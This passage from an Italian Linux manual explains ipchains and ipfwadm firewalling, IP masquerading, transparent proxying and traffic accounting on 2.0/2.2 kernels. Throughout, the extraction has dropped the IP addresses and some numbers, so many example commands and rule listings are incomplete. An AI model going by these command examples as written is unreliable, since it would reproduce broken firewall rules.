0/0 6000:6009 -d 0/0 -l -j DENY /sbin/ipchains -A forward -p tcp -s 0/0 -d 0/0 6000:6009 -l -j DENY Blocca il transito delle comunicazioni riferite alla gestione remota di applicazioni per X. In questo caso, si presume di poter avere a che fare con sistemi che gestiscono fino a 10 serventi grafici contemporaneamente. /sbin/ipchains -A input -p tcp -s 0/0 6000:6009 -d 0/0 -l -j DENY /sbin/ipchains -A output -p tcp -s 0/0 -d 0/0 6000:6009 -l -j DENY Blocca l ingresso e l uscita di comunicazioni riferite alla gestione remota di applicazioni per X. Questo potrebbe essere utile per proteggere un sistema che non si avvale di un firewall o che semplicemente non si fida della rete circostante.

19 Kernel Linux 2.2: firewall e mascheramento IP Contabilizzazione del traffico Con i kernel Linux 2.2., la contabilizzazione del traffico è implicita nel sistema di filtro del * firewall: ogni regola che venga inserita in un punto di controllo accumula i propri contatori. In questo senso possono essere opportune anche regole che non hanno l indicazione di alcun obiettivo, in quanto utili solo per selezionare una parte del traffico ai fini contabili. Con l opzione -v si può osservare il valore raggiunto dai vari contatori. Per esempio, disponendo di un unica regola che cattura tutto il traffico in ingresso, # ipchains -F input # ipchains -A input il comando # ipchains -L input -v potrebbe generare un rapporto simile a quello seguente: pkts bytes target prot opt tosa tosx ifname mark outsize all xFF 0x00 any Si possono notare in particolare le colonne pkts e bytes che si riferiscono rispettivamente al numero di pacchetti IP e alla loro dimensione complessiva in byte. A fianco dei numeri che esprimono queste quantità potrebbero essere aggiunte delle lettere che rappresentano dei multipli: K, M e G. È importante osservare che questi esprimono multipli del sistema di numerazione decimale: 1000, e L azzeramento dei conteggi si ottiene con l opzione di comando -Z ( --zero ), che interviene in tutte le regole dei punti di controllo indicati. Questa può essere utilizzata anche assieme all opzione -L, in modo da non perdere informazioni; tuttavia, in questo caso, non è possibile indicare il nome di un punto di controllo particolare e si deve intervenire su tutte le regole esistenti. Esempi # ipchains -L input -v Mostra tutte le informazioni disponibili sulle regole di ingresso. Tra le altre cose mostra anche i contatori del traffico. # ipchains -Z input Azzera i conteggi riferiti alle regole di ingresso. # ipchains -L -Z -v Mostra tutte le informazioni disponibili di tutti i punti di controllo (ed eventualmente anche di altri raggruppamenti di regole), compresi i conteggi che vengono azzerati immediatamente dopo. 1 Bisogna ricordare comunque che il SI specifica la lettera «k» minuscola come prefisso moltiplicatore che esprime il valore 10 3.

20 2004 Kernel Linux 2.2: firewall e mascheramento IP Raggruppamenti di regole al di fuori dei punti di controllo standard Oltre ai punti di controllo normali, è possibile definire delle raccolte di regole aggiuntive, a cui si può fare riferimento quasi come se fossero delle subroutine di un linguaggio di programmazione. Queste raccolte vengono identificate da un nome, al quale si può fare riferimento attraverso altre regole in qualità di obiettivo. In pratica, una regola posta in un punto di controllo può indicare un obiettivo corrispondente al nome di un altro raggruppamento di regole, che viene così a essere incorporato idealmente in quel punto. Per comprendere il meccanismo, si supponga di avere creato la raccolta di regole (chain) denominata Prova, con una regola all interno del punto di controllo di ingresso che vi faccia riferimento. Per cominciare, le regole contenute all interno di Prova potrebbero essere: target prot opt source destination ports - all / /0 n/a - all / /24 n/a - all / n/a Come si può osservare in questo caso, si tratta di regole che servono solo alla contabilizzazione del traffico, dal momento che non sono stati indicati degli obiettivi. Le regole di ingresso potrebbero essere quelle seguenti: target prot opt source destination ports... Prova tcp / /0 * -> *... Si può osservare una regola il cui scopo è quello di individuare tutto il traffico TCP. Dal momento che l obiettivo di questa è il raggruppamento Prova, i pacchetti che rientrano nella selezione di questa regola vengono scomposti ulteriormente attraverso le regole del raggruppamento Prova. I pacchetti che non vengono «catturati» da alcuna regola del raggruppamento Prova tornano a essere presi in considerazione dalle regole successive nel punto di controllo di ingresso. La creazione di un raggruppamento di regole si ottiene con l opzione di comando -N ( --new-chain ) e la sua eliminazione con -X ( --delete-chain ). Per esempio, il comando # ipchains -N Prova serve a creare il raggruppamento Prova a cui si accennava in precedenza. L inserimento di regole avviene nel modo normale; per continuare a seguire gli esempi fatti, i comandi dovrebbero essere i seguenti: # ipchains -A Prova -s /24 # ipchains -A Prova -d /24 # ipchains -A Prova -s Così, l inserimento della regola in ingresso che fa riferimento a questo raggruppamento, come mostrato dagli esempi in precedenza, si indica semplicemente con il comando seguente: # ipchains -A input -p tcp -j Prova L eliminazione di un raggruppamento di regole è ammissibile solo quando questo è vuoto e quando non esistono più riferimenti da parte di altre regole nei punti di controllo normali. # ipchains -D input -p tcp -j Prova

21 Kernel Linux 2.2: firewall e mascheramento IP 2005 # ipchains -F Prova # ipchains -X Prova I comandi mostrati sopra servono rispettivamente a eliminare la regola di ingresso che faceva riferimento al raggruppamento Prova, a svuotare il raggruppamento e infine a eliminarlo Mascheramento IP Attraverso il mascheramento IP si fa in modo di mostrare all esterno che l origine delle connessioni è sempre il nodo che esegue questo compito, anche quando in realtà si tratta di un nodo interno alla rete privata. Naturalmente, il nodo che esegue il mascheramento è poi in grado di distinguere quali siano stati i nodi mascherati che hanno originato la connessione, girando a loro i pacchetti di loro competenza. Figura Mascheramento IP filtro di Rete privata mascherata mascheramento * * Rete pubblica IP (Internet) host host In linea di principio, i nodi collocati nella rete privata mascherata, sono in grado di accedere all esterno, per mezzo del mascheramento degli indirizzi, mentre dall esterno potrebbe mancare l instradamento verso tali nodi. In effetti, quando la rete privata mascherata utilizza indirizzi IP esclusi dalla rete pubblica, tale instradamento (dall esterno verso l interno) non può esistere. L attivazione nel kernel delle funzionalità di mascheramento richiede prima di tutto che siano state attivate quelle di firewall, assieme a quelle di ricomposizione dei pacchetti frammentati (nello stesso modo già visto nella sezioni dedicate al filtro di pacchetto IP), dove in particolare sia stata poi aggiunta anche quella di mascheramento (sezione ) ipchains per l amministrazione del mascheramento Attualmente (con i kernel 2.2. ), la gestione del mascheramento IP del kernel è un estensione di * quella del filtro di pacchetto IP, che deve essere attivata espressamente attraverso ipchains, utilizzando il punto di controllo di inoltro, forward, assieme a una politica di accettazione ( ACCEPT ) con l aggiunta dell indicazione che si tratta di mascheramento per mezzo dell obiettivo MASQ. La cosa si può rappresentare schematicamente attraverso il modello seguente che comunque potrebbe essere esteso o precisato meglio. ipchains -A -I forward -s indirizzi_da_mascherare -d 0/0 -j MASQ Ricapitolando quindi, il mascheramento si ottiene definendo una regola nel punto di controllo di inoltro, in cui sia stato attivato il mascheramento dell origine nei confronti della destinazione Mascheramento in pratica In generale, il mascheramento IP si utilizza per consentire a una rete privata, che utilizza indirizzi IP esclusi da Internet, di accedere all esterno. In questa situazione potrebbe essere sensata ugualmente una strategia di difesa attraverso le funzionalità di filtro già discusse nelle sezioni dedicate a questo argomento, perché dall esterno, qualcuno potrebbe creare un proprio instradamento verso la rete privata.

22 2006 Kernel Linux 2.2: firewall e mascheramento IP In ogni caso, la situazione comune per il mascheramento IP è quella dello schema che appare in figura L interfaccia di rete del nodo di mascheramento connessa alla rete privata ( eth0 ) deve avere un indirizzo IP che appartenga a tale spazio; inoltre deve essere stato previsto un instradamento corretto. L altra interfaccia, quella rivolta verso la rete pubblica ( ppp0 ), avrà un indirizzo IP pubblico, mentre l instradamento dovrà essere quello predefinito. Figura Esempio di mascheramento di una rete privata ppp0 eth0 Rete privata mascherata mascheramento * * Rete pubblica IP (Internet) host host In questa situazione, la regola che consente alla rete privata di raggiungere l esterno può essere definita con uno dei due comandi seguenti: il primo è un esempio approssimativo, mentre il secondo fa un riferimento esplicito agli indirizzi esterni in modo che non coincidano con quelli interni. /sbin/ipchains -A forward -s /24 -d 0/0 -j MASQ /sbin/ipchains -A forward -s /24 -d! /24 -j MASQ Visualizzando la regola attraverso ipchains -L forward -n, si ottiene una tra le due informazioni seguenti (a seconda del comando prescelto). Chain forward (policy ACCEPT): target prot opt source destination ports MASQ all / /0 n/a Chain forward (policy ACCEPT): target prot opt source destination ports MASQ all /16! /16 n/a Si è accennato al fatto che non si può escludere che qualcuno voglia provare a definire un proprio instradamento verso la rete privata che in condizioni normali dovrebbe essere irraggiungibile dall esterno. Per questo, conviene escludere esplicitamente il traffico nella direzione opposta, oppure semplicemente definire che la politica predefinita del firewall deve essere DENY. #!/bin/sh /sbin/ipchains -P forward DENY /sbin/ipchains -A forward -s /24 -d 0/0 -j MASQ Proxy trasparente Il proxy trasparente, o transparent proxy, è una funzionalità attraverso la quale si fa in modo di ridirigere il traffico (TCP) verso un servizio proxy del nodo locale, quando altrimenti sarebbe diretto verso altri nodi, a porte determinate. Il kernel Linux fornisce questa funzionalità come estensione di quelle di filtro dei pacchetti IP; ma per farlo deve essere aggiunta esplicitamente la gestione di questa caratteristica (sezione ). Naturalmente, per attivare un sistema di proxy trasparente occorre il proxy. In effetti, il vantaggio di usare questo sistema al posto del mascheramento IP sta proprio nell inserzione di un proxy, possibilmente di una cache proxy, per ridurre il traffico nella connessione con la rete pubblica. In questo modo, il software utilizzato nei nodi della rete privata non ha bisogno di essere configurato per inviare tutte le sue richieste al proxy, ma quando i pacchetti tentano di raggiungere l esterno, allora vengono presi in considerazione da questo.

23 Kernel Linux 2.2: firewall e mascheramento IP ipchains per il proxy trasparente La ridirezione attraverso cui si ottiene il proxy trasparente si definisce esclusivamente per mezzo del punto di controllo di ingresso, input, specificando una porta di ridirezione con l obiettivo REDIRECT. Considerato che il proxy trasparente viene usato normalmente solo per il protocollo TCP, la sintassi di ipchains per questo scopo si traduce nello schema seguente: ipchains -A -I input -p tcp -s origine -d destinazione porte -j REDIRECT porta_locale Quello che si ottiene è che il traffico proveniente dagli indirizzi previsti, diretto verso le destinazioni indicate, complete dell informazione sulle porte, viene ridiretto alla porta specificata dopo l obiettivo REDIRECT nel nodo locale Proxy trasparente in pratica Un proxy trasparente può funzionare solo se il traffico relativo deve attraversarlo per forza. Pertanto, si può attivare questa funzionalità solo in un router, che eventualmente può fungere sia da firewall che da proxy trasparente. Di conseguenza, il proxy per il quale il servizio viene avviato, deve risiedere fisicamente nello stesso elaboratore che svolge il ruolo di router o di firewall. Figura Il proxy trasparente deve essere attraversato dal traffico che poi lì può essere ridiretto verso il proxy locale Proxy Rete privata mascherata trasparente * * Rete esterna host host Lo scopo del proxy trasparente può essere semplicemente quello di «obbligare» a utilizzare una cache proxy, senza importunare gli utenti pretendendo da loro che configurino gli applicativi per questo, oppure può essere il modo attraverso cui si definisce un firewall proxy, impedendo l attraversamento del proxy per mezzo del filtro di pacchetto IP. A titolo di esempio viene mostrato in che modo si potrebbe ridirigere il traffico di una rete locale con indirizzi /24, quando questo è rivolto alla porta 80, cioè a un servizio HTTP, verso la porta locale 8080 (tipica di una cache proxy). /sbin/ipchains -A input -p tcp \ -s /24 -d! / j REDIRECT 8080 Come si può intendere, il comando è stato suddiviso su due righe per motivi tipografici. Visualizzando la regola attraverso ipchains -L input, si ottiene l informazione seguente: Chain input (policy ACCEPT): target prot opt source destination ports REDIRECT tcp /24! /24 any -> 80 => 8080 Naturalmente, il proxy trasparente può essere combinato anche con il mascheramento IP, per cui, dato l esempio già visto, si potrebbe anche aggiungere l istruzione seguente: /sbin/ipchains -A forward -s /24 -d! /24 -j MASQ

24 2008 Kernel Linux 2.2: firewall e mascheramento IP Riferimenti Paul Russell, Linux IPCHAINS-HOWTO < Terry Dawson, Linux NET-3-HOWTO, Linux Networking < Mark Grennan, Firewalling and Proxy Server HOWTO < Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

25 Capitolo 181 Kernel Linux 2.0: firewall e mascheramento IP Le funzionalità di firewall e di mascheramento IP, essendo incorporate nel kernel, devono essere abilitate prima della compilazione (sezione ). È importante osservare che quando si utilizza il sistema del filtro di pacchetto IP, è necessario consentire il transito dei pacchetti attraverso il firewall, abilitando in pratica le funzionalità di inoltro dei pacchetti (forwarding/gatewaying) come nel caso di un router normale. Una volta inserita nel kernel la funzionalità di forwarding/gatewaying, questa può essere controllata attraverso un file del file system virtuale /proc/. Generalmente, tale funzionalità viene disabilitata espressamente, per motivi di sicurezza, dalla procedura di inizializzazione del sistema. Per riattivare l inoltro tra le interfacce di rete, si può agire nel modo seguente: # echo 1 > /proc/sys/net/ipv4/ip_forward ipfwadm per l amministrazione del firewall La gestione del filtro di pacchetto IP dei kernel 2.0. viene regolata attraverso il programma * ipfwadm (IP firewall administration). Non potendo gestire un file di configurazione per queste funzionalità del kernel, tutto quello che si può fare è la realizzazione di uno script contenente una serie di comandi con ipfwadm. ipfwadm interviene su un elenco di regole riferite alle funzionalità di firewall del kernel; un po come avviene con la tabella degli instradamenti di un router. L ordine in cui sono elencate tali regole è importante, quindi si deve poter distinguere tra l inserimento di una regola all inizio o alla fine dell elenco esistente. Salvo eccezioni particolari, che verranno descritte nel contesto opportuno, la sintassi per l utilizzo di ipfwadm è quella seguente: ipfwadm categoria_di_intervento comando parametri [opzioni] La categoria di intervento di ipfwadm è rappresentata da una sigla che serve a stabilire a cosa si riferisce la regola definita attraverso gli argomenti successivi. -I Definisce una regola riferita al traffico in ingresso. -O Definisce una regola riferita al traffico in uscita. -F Definisce una regola riferita al traffico in transito attraverso il firewall (forward) Comandi principali per la gestione del firewall con ipfwadm Dopo l indicazione della categoria di intervento per ipfwadm, deve essere indicato un comando, cioè un tipo di opzione più o meno articolato che stabilisce l azione da compiere all interno della regola che viene definita. 2009

26 2010 Kernel Linux 2.0: firewall e mascheramento IP Alcuni comandi -f Cancella tutte le regole riferite alla categoria di intervento indicata anteriormente. Se si utilizza il comando -f, non possono essere indicati né parametri, né opzioni, dato il significato che assume l istruzione. -l Emette attraverso lo standard output le regole riferite della categoria di intervento indicata. Se si utilizza il comando -l, non possono essere indicati dei parametri (a parte la possibilità di utilizzare anche il comando -z, che riguarda però la contabilizzazione dei dati in transito), mentre qualche opzione può essere aggiunta. -a {accept deny reject} -i {accept deny reject} Inserisce la regola definita dai parametri e dalle opzioni successive, alla fine ( -a, append), oppure all inizio ( -i, insert) dell elenco. Quando si tratta di una regola di firewall, è obbligatoria l indicazione di una politica rappresentata da una parola chiave: accept, deny o reject. Il significato dovrebbe essere intuitivo: accettare, rifiutare o rigettare i pacchetti che soddisfano la definizione fatta attraverso i parametri successivi. La differenza tra deny e reject sta nel fatto che, nel primo caso il rifiuto è silenzioso, mentre nel secondo viene generata una segnalazione di errore inviata all origine del pacchetto. -d {accept deny reject} parametri Permette di eliminare una regola dal gruppo appartenente alla categoria specificata. Per ottenere la sua eliminazione, occorre indicare la stessa politica e gli stessi parametri utilizzati per crearla. -p {accept deny reject} Serve a definire una politica predefinita, riferita alla categoria selezionata, per tutte le situazioni che non corrispondono ad alcuna regola indicata espressamente. In generale, se non viene definito diversamente, la politica predefinita è accept. Ciò è necessario perché il sistema possa funzionare come router quando non viene stabilito nulla al riguardo del filtro dei pacchetti IP Parametri principali Le opzioni sono gli argomenti di ipfwadm che definiscono la regola, che generalmente si vuole aggiungere. Prima di descrivere la sintassi di questi parametri, è bene chiarire alcune convenzioni che vengono utilizzate. La definizione di un gruppo di indirizzi IP può essere fatta attraverso l indicazione di una coppia numero_ip /maschera, con una barra obliqua di separazione tra i due. La maschera può essere

27 Kernel Linux 2.0: firewall e mascheramento IP 2011 indicata nel modo consueto, oppure con un numero che esprime la quantità di bit iniziali da porre al valore uno. Quando si vuole fare riferimento a indirizzi imprecisati, si utilizza solitamente l indirizzo , che può essere indicato anche in forma simbolica attraverso la parola chiave any. Nello stesso modo il gruppo di indirizzi /0, cioè ogni indirizzo, può essere rappresentato nei rapporti (quelli che si ottengono con il comando -l ) con la parola chiave anywhere. Alcune regole possono fare riferimento all utilizzo di porte, o intervalli di porte particolari (qui si trascura volontariamente il problema dei pacchetti ICMP). Queste porte possono essere espresse attraverso un nome, come definito nel file /etc/services, oppure per numero, cosa che di solito si preferisce per questo tipo di applicazione. Gli intervalli di porte, in particolare, vengono espressi nella forma seguente: porta_iniziale:porta_finale Il kernel è in grado di gestire un numero limitato di regole che contengano riferimenti precisi a porte. Di solito è consentita l indicazione massima di 10 porte, dove gli intervalli valgono per due. Alcuni parametri -P {tcp udp icmp all} Stabilisce il tipo di protocollo della regola che viene definita. La parola chiave all rappresenta qualsiasi protocollo ed è l impostazione predefinita se questo parametro non viene utilizzato. L indicazione del protocollo è obbligatoria quando si specificano le porte di un origine o di una destinazione. -S indirizzo[/maschera] [porta intervallo_di_porte]... Permette di definire l origine dei pacchetti. L indirizzo viene indicato generalmente in forma numerica, anche se c è la possibilità di usare un nome di dominio. La maschera, eventuale, serve a indicare un gruppo di indirizzi. Se questo parametro viene omesso, si intende implicitamente -S /0, ovvero -S any/0, che rappresenta tutti gli indirizzi possibili. -D indirizzo[/maschera] [porta intervallo_di_porte]... Permette di definire la destinazione dei pacchetti. L indirizzo viene indicato generalmente in forma numerica, anche se c è la possibilità di usare un nome di dominio. La maschera, eventuale, serve a indicare un gruppo di indirizzi. Se questo parametro viene omesso, si intende implicitamente -D /0, ovvero -D any/0, che rappresenta tutti gli indirizzi possibili. -V indirizzo Permette di indicare l indirizzo dell interfaccia di rete attraverso la quale sono ricevuti o inviati i pacchetti della regola che si sta definendo. Se questo parametro viene omesso, si intende implicitamente -V , che rappresenta eccezionalmente un indirizzo qualunque. -W interfaccia

28 2012 Kernel Linux 2.0: firewall e mascheramento IP Permette di indicare il nome dell interfaccia di rete attraverso la quale sono ricevuti o inviati i pacchetti della regola che si sta definendo. Se questo parametro viene omesso, si intende fare riferimento implicitamente a qualunque interfaccia di rete Opzioni aggiuntive Alcune opzioni finali possono essere importanti e vale la pena di conoscerle. È il caso di precisare che, anche se la sintassi indicata da ipfwadm(8) pone queste opzioni alla fine della riga di comando, queste possono apparire dopo i comandi, subito prima dei parametri. Alcuni opzioni -e Questa opzione può essere usata solo in combinazione al comando -l e permette di ottenere informazioni più dettagliate. -n Questa opzione viene usata normalmente assieme al comando -l e fa in modo che le informazioni su indirizzi e porte siano espresse in forma numerica. -b Fa sì che la regola valga in modo bidirezionale per i pacchetti IP. -o Attiva l annotazione dei pacchetti che corrispondono alla regola, utilizzando il registro del sistema (per la precisione si tratta di messaggi del kernel, di solito intercettati dal demone klogd che poi li invia al registro del sistema) Pratica con ipfwadm per la gestione del firewall Ci sono tre utilizzi tipici di ipfwadm con cui è necessario avere confidenza prima di analizzare degli esempi più sostanziosi: l elenco delle regole di una categoria determinata, la cancellazione di tutte le regole di una categoria e la definizione della politica predefinita. # ipfwadm -I -l[ Invio ] IP firewall input rules, default policy: accept # ipfwadm -O -l[ Invio ] IP firewall output rules, default policy: accept # ipfwadm -F -l[ Invio ] IP firewall forward rules, default policy: accept L esempio mostra l uso dei comandi necessari a visualizzare le regole delle categorie riferite alla funzionalità di controllo dell input, dell output e di attraversamento dei pacchetti IP. Se il kernel è predisposto per la loro gestione e non sono state definite regole di alcun tipo, quello che si vede è il risultato generato da questi comandi. Si osservi in particolare che la politica predefinita è sempre accept.

29 Kernel Linux 2.0: firewall e mascheramento IP 2013 In generale, quando si predispone uno script con tutte le regole di firewall che si vogliono applicare, si inizia dall azzeramento di quelle eventualmente esistenti, esattamente nel modo seguente: #!/bin/sh /sbin/ipfwadm -I -f /sbin/ipfwadm -O -f /sbin/ipfwadm -F -f #... Dal momento che le funzionalità di filtro del kernel Linux non devono interferire con quelle di inoltro, nel caso le prime non siano state definite, è necessario che la politica predefinita sia sempre accept. In generale, se si vuole configurare il proprio elaboratore come firewall, la situazione cambia e dovrebbe essere conveniente il contrario, in modo da poter controllare la situazione. In pratica, dopo l azzeramento delle regole delle varie categorie, è solitamente opportuno modificare le politiche predefinite, in modo da bloccare gli accessi e il transito dei pacchetti. #... /sbin/ipfwadm -I -p deny /sbin/ipfwadm -O -p deny /sbin/ipfwadm -F -p deny #... La definizione delle regole di firewall deve tenere conto dell ordine in cui appaiono nell elenco gestito all interno del kernel, quindi, la scelta tra i comandi -a (aggiunta in coda) e -i (inserimento all inizio) deve essere fatta in modo consapevole. A seconda della propria filosofia personale, si sceglierà probabilmente di utilizzare sempre solo un tipo, oppure l altro. Se si sceglie di «aggiungere» le regole, dovrebbe essere conveniente iniziare da quelle di rifiuto o rigetto ( deny o reject ), per finire con quelle di accettazione ( accept ). Se si preferisce lasciare che la politica predefinita sia accept, è importante ricordare di aggiungere alla fine di tutte le regole di una categoria determinata, una regola che impedisca l accesso in modo generalizzato, come mostrato nell esempio seguente: #... # In coda a tutte le regole /sbin/ipfwadm -I -a deny -S any/0 -D any/0 -o /sbin/ipfwadm -O -a deny -S any/0 -D any/0 -o /sbin/ipfwadm -F -a deny -S any/0 -D any/0 -o Nell esempio, è stata usata la parola chiave any, come sinonimo di , in modo da rappresentare qualunque indirizzo di origine e di destinazione ( /0). Come si può vedere ancora, è stata aggiunta l opzione -o in modo da annotare nel registro del sistema i tentativi di accesso o di attraversamento non autorizzati. Questo tipo di strategia, soprattutto in considerazione della possibilità di attivare un controllo nel registro del sistema, può giustificare la scelta di lasciare la politica predefinita originale: accept. Di solito, per la definizione delle regole di un firewall ci si limita a utilizzare la categoria -F, lasciando libero l ingresso e l uscita dei pacchetti (le categorie -I e -O ). Infatti, le regole che controllano l ingresso e l uscita dei dati potrebbero essere utili per proteggere un nodo che non disponga della protezione di un firewall, oppure si trovi in un ambiente di cui non ci si possa fidare. Alcuni esempi /sbin/ipfwadm -F -a deny -S /3 -D any/0 -o Questa regola impedisce il transito di tutti quei pacchetti che provengono da un origine in cui l indirizzo IP sia composto in modo da avere i primi tre bit a uno. Infatti, 224 si traduce nel numero binario , escludendo tutta la classe D e la classe E degli indirizzi

30 2014 Kernel Linux 2.0: firewall e mascheramento IP IPv4. Si osservi l aggiunta dell opzione -o per ottenere l annotazione nel registro dei tentativi di attraversamento. Segue la visualizzazione della regola attraverso ipfwadm -F -l. type prot source destination ports deny all /3 anywhere n/a /sbin/ipfwadm -F -a deny -S /3 -o Questo esempio è esattamente identico a quello precedente, perché la destinazione predefinita è proprio quella riferita a qualunque indirizzo. /sbin/ipfwadm -F -a accept -P tcp -S /24 -D any/0 23 Consente ai pacchetti TCP provenienti dalla rete / di attraversare il firewall per raggiungere qualunque indirizzo, ma alla porta 23. In pratica concede di raggiungere un servizio TELNET. Segue la visualizzazione della regola attraverso ipfwadm -F -l. type prot source destination ports acc tcp /24 anywhere any -> telnet /sbin/ipfwadm -F -a deny -P tcp -S any/0 6000:6009 -D any/0 -o /sbin/ipfwadm -F -a deny -P tcp -S any/0 -D any/0 6000:6009 -o Blocca il transito delle comunicazioni riferite alla gestione remota di applicazioni per X. In questo caso, si presume di poter avere a che fare con sistemi che gestiscono fino a 10 serventi grafici contemporaneamente. /sbin/ipfwadm -I -a deny -P tcp -S any/0 6000:6009 -D any/0 -o /sbin/ipfwadm -O -a deny -P tcp -S any/0 -D any/0 6000:6009 -o Blocca l ingresso e l uscita di comunicazioni riferite alla gestione remota di applicazioni per X. Questo potrebbe essere utile per proteggere un sistema che non si avvale di un firewall o che semplicemente non si fida della rete circostante ipfwadm per l amministrazione del mascheramento La gestione del mascheramento IP del kernel è un estensione di quella del filtro di pacchetto IP e deve essere attivata espressamente attraverso ipfwadm, utilizzando la categoria -F (forward), assieme a una politica di accettazione ( accept ) con l aggiunta dell indicazione che si tratta di mascheramento. Per ottenere questo, si possono usare due modi equivalenti: l indicazione di una politica denominata masquerade (abbreviata frequentemente con m ), che implica la politica accept, oppure l aggiunta dell opzione -m. La cosa si potrebbe rappresentare schematicamente attraverso gli schemi sintattici seguenti. ipfwadm -F {-i -a -d} {m masquerade} parametri [opzioni] ipfwadm -F {-i -a -d} accept parametri -m [altre_opzioni] Ricapitolando quindi, il mascheramento si ottiene definendo una regola di inoltro (forward), in cui sia stato attivato il mascheramento dell origine nei confronti della destinazione. La situazione comune per il mascheramento IP è quella dello schema che appare in figura L interfaccia di rete del firewall connessa alla rete privata deve avere un indirizzo IP che appartenga a tale spazio e inoltre deve essere stato previsto un instradamento corretto. L altra interfaccia, quella rivolta verso la rete pubblica, avrà un indirizzo IP pubblico e l instradamento dovrà essere quello predefinito.

31 Kernel Linux 2.0: firewall e mascheramento IP 2015 Figura Il firewall per il mascheramento IP Firewall Rete privata mascherata mascheramento * * Rete pubblica IP (Internet) host host In questa situazione, la regola che consente alla rete privata di raggiungere l esterno può essere definita con uno dei tre comandi seguenti (che in pratica sono identici). /sbin/ipfwadm -F -a masquerade -S /24 -D any/0 /sbin/ipfwadm -F -a m -S /24 -D any/0 /sbin/ipfwadm -F -a accept -S /24 -D any/0 -m Visualizzando la regola attraverso ipfwadm -F -l, si ottiene l informazione seguente, dove si deve osservare che il tipo è indicato come acc/m, ovvero: accept / masquerade. type prot source destination ports acc/m all /24 anywhere n/a Si è accennato al fatto che non si può escludere che qualcuno voglia provare a definire un proprio instradamento verso la rete privata che in condizioni normali dovrebbe essere irraggiungibile dall esterno. Per questo, conviene escludere esplicitamente il traffico nella direzione opposta, oppure semplicemente definire che la politica predefinita del firewall deve essere deny. #!/bin/sh /sbin/ipfwadm -F -p deny /sbin/ipfwadm -F -a masquerade -S /24 -D any/ Proxy trasparente con ipfwadm Il proxy trasparente, o transparent proxy, è una funzionalità attraverso la quale si fa in modo di ridirigere il traffico verso il nodo locale, quando altrimenti sarebbe diretto verso altre macchine, a porte determinate. Il kernel Linux fornisce questa funzionalità come estensione di quelle di filtro dei pacchetti IP; ma per farlo deve essere aggiunta esplicitamente la gestione di questa caratteristica (sezione ). La ridirezione attraverso cui si ottiene il proxy trasparente, si definisce esclusivamente con la categoria -I, specificando una porta di ridirezione con l opzione -r. La sintassi di ipfwadm per questo scopo si traduce nello schema seguente: ipfwadm -I {-i -a -d} accept -P protocollo -S origine -D destinazione porte -r porta_locale Quello che si ottiene è che il traffico proveniente dagli indirizzi previsti, diretto verso le destinazioni indicate, complete dell informazione sulle porte, viene ridiretto alla porta indicata dall opzione -r nel nodo locale. A titolo di esempio viene mostrato in che modo si potrebbe ridirigere il traffico di una rete locale con indirizzi /24, quando questo è rivolto alla porta 80, cioè a un servizio HTTP, verso la porta locale 8080 (tipica di una cache proxy). /sbin/ipfwadm -I -a accept -p tcp -S /24 -D any/0 80 -r 8080 Visualizzando la regola attraverso ipfwadm -I -l, si ottiene l informazione seguente, dove si deve osservare che il tipo è indicato come acc/r, dove la lettera r segnala appunto la ridirezione.

32 2016 Kernel Linux 2.0: firewall e mascheramento IP type prot source destination ports acc/r tcp /24 anywhere any -> http => Contabilizzazione del traffico con ipfwadm Il kernel Linux, assieme alla gestione del filtro dei pacchetti IP può anche tenere la «contabilità» del traffico. Si tratta semplicemente di definire una serie di contatori per il traffico in entrata o in uscita, da o verso indirizzi determinati. Il conteggio prosegue fino all azzeramento successivo. Per sfruttare questa funzionalità è necessario che il kernel sia stato predisposto opportunamente (sezione ). La contabilità del traffico non è un attività esclusiva di un elaboratore che ricopra il ruolo di firewall, però, un firewall, o più semplicemente un router, è il luogo migliore per gestirla. Per definire i contatori che si vogliono avere in riferimento al traffico, si utilizza ipfwadm specificando la categoria -A (Accounting). Con questa categoria possono essere usati comandi e opzioni simili a quelli descritti per le funzionalità di firewall, ma non perfettamente uguali. La sintassi generale cambia nel modo seguente: ipfwadm -A [in out both] comando parametri [opzioni] Come si può osservare, la categoria -A richiede un argomento composto da una parola chiave che definisce la direzione del traffico: in, ingresso; out, uscita; both, entrambe. Se tale direzione non viene specificata, si intende implicitamente che sia stata usata la parola chiave both (entrambe). I comandi, cioè le opzioni che seguono immediatamente la categoria -A, hanno delle differenze importanti rispetto alla sintassi relativa alla gestione del firewall. Alcuni comandi -f Cancella tutte le regole riferite alla categoria di intervento indicata anteriormente (in questo caso si tratta delle regole di contabilizzazione del traffico). -l Emette attraverso lo standard output le regole di definizione dei contatori, con i valori che tali contatori hanno raggiunto nel frattempo. -z Azzera tutti i conteggi. Si può usare anche assieme a -l ; i in tal caso si ottiene la visualizzazione dei valori raggiunti, e subito dopo l azzeramento. -a -i Inserisce la regola di conteggio alla fine ( -a, append), oppure all inizio ( -i, insert) dell elenco. -d parametri Permette di eliminare una regola dal gruppo appartenente alla categoria specificata. Per ottenere la sua eliminazione, occorre indicare gli stessi parametri utilizzati per crearla.

33 Kernel Linux 2.0: firewall e mascheramento IP Contabilità del traffico in pratica In generale, come è già stato mostrato in riferimento all utilizzo di ipfwadm, quando si realizza uno script per la definizione di contatori di traffico, si inizia con l azzeramento delle regole riferite a questa funzione. #!/bin/sh #... /sbin/ipfwadm -A -f Le regole di definizione dei contatori possono essere più o meno precise, a seconda dell esigenza. La regola più vaga è quella seguente, in cui si misura tutto il traffico (compreso quello dell interfaccia di loopback) senza distinguere se questo è in ingresso o in uscita. /sbin/ipfwadm -A both -a Visualizzando la regola attraverso il comando ipfwadm -A -l, si ottiene qualcosa simile a quello che segue. IP accounting rules pkts bytes dir prot source destination ports i/o all anywhere anywhere n/a In questo caso, si può osservare che c è stato un po di traffico (veramente minimo), dal momento che sono transitati 280 byte in quattro pacchetti. È evidente che la contabilizzazione del traffico è utile se può dare qualche indicazione in più. L esempio seguente serve a misurare in modo distinto il traffico in ingresso e in uscita dall interfaccia eth0. /sbin/ipfwadm -A in -a -W eth0 /sbin/ipfwadm -A out -a -W eth0 In questo caso, per visualizzare le regole è necessario il comando ipfwadm -A -l -e, altrimenti non si può notare che si fa riferimento a un interfaccia precisa. IP accounting rules pkts bytes dir prot opt ifname ifaddress source destination ports in all ---- eth0 any anywhere anywhere n/a out all ---- eth0 any anywhere anywhere n/a L esempio seguente mostra in che modo potrebbe essere controllato il traffico intrattenuto con un gruppo di nodi particolare. Si suppone si tratti della sottorete /24. /sbin/ipfwadm -A in -a -S /24 /sbin/ipfwadm -A out -a -D /24 Il risultato di queste regole potrebbe essere il seguente: IP accounting rules pkts bytes dir prot source destination ports in all /24 anywhere n/a out all anywhere /24 n/a Tuttavia, se l elaboratore in cui si predispone la contabilizzazione del traffico fosse il router, o il 